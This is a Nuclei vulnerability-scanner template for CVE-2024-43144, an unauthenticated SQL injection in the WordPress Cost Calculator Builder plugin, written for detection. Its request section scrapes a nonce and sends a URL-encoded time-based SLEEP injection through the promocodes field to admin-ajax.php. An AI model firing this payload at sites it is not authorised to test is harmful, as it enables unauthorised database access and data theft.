id: CVE-2024-43144 info: name: Cost Calculator Builder <= 3.2.15 - SQL Injection author: Shivam Kamboj severity: critical description: | The Cost Calculator Builder plugin for WordPress is vulnerable to SQL Injection via discount codes in versions up to, and including, 3.2.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. impact: | Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise. remediation: Update to version 3.2.16 or later. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cost-calculator-builder/cost-calculator-builder-3215-unauthenticated-sql-injection - https://patchstack.com/database/wordpress/plugin/cost-calculator-builder/vulnerability/wordpress-cost-calculator-builder-plugin-3-2-15-sql-injection-vulnerability - https://nvd.nist.gov/vuln/detail/CVE-2024-43144 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-43144 epss-score: 0.23153 epss-percentile: 0.96033 cwe-id: CWE-89 metadata: verified: true max-request: 2 publicwww-query: "/plugins/cost-calculator-builder/" tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,cost-calculator-builder flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: nonce part: body group: 1 regex: - '"ccb_add_order"\s*:\s*"([a-f0-9]+)"' internal: true - raw: - | @timeout: 30s POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=create_cc_order&nonce={{nonce}}&data=%7B%22id%22%3A%221%22%2C%22promocodes%22%3A%5B%22%27%29%20OR%201%3D%28SELECT%20SLEEP%288%29%29--%20-%22%5D%7D matchers: - type: dsl dsl: - 'contains_any(body, "order_id", "success")' - 'status_code == 200' - 'duration>=8' condition: and # digest: 4a0a00473045022072af928b515751decc7a9a495693c14b4d1d985dee251618d3c8edd7743736d8022100e7ceca1aa52f5f3c62f2a5a4719d725dd937753f5ad43c23143a35cb3f85b79e:922c64590222798bb761d5b6d8e72950